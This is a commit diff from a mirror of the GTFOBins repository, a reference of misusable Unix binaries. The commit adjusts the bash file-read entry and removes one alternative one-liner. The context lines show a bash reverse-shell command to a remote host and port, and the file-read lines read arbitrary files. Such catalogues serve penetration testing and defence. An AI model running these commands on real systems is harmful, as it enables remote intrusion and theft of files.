mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 22:09:35 +01:00
Fix bash file read
This commit is contained in:
parent
7660674537
commit
3b59c85656
@ -41,14 +41,10 @@ functions:
|
||||
export RPORT=12345
|
||||
bash -c 'bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1'
|
||||
file-read:
|
||||
- description: It trims trailing newlines.
|
||||
- description: It trims trailing newlines and it's not binary-safe.
|
||||
code: |
|
||||
export LFILE=file_to_read
|
||||
bash -c 'echo "$(<$LFILE)"'
|
||||
- description: It trims trailing newlines.
|
||||
code: |
|
||||
export LFILE=file_to_read
|
||||
bash -c $'read -r -d \x04 < "$LFILE"; echo "$REPLY"'
|
||||
file-write:
|
||||
- code: |
|
||||
export LFILE=file_to_write
|
||||
|
Loading…
Reference in New Issue
Block a user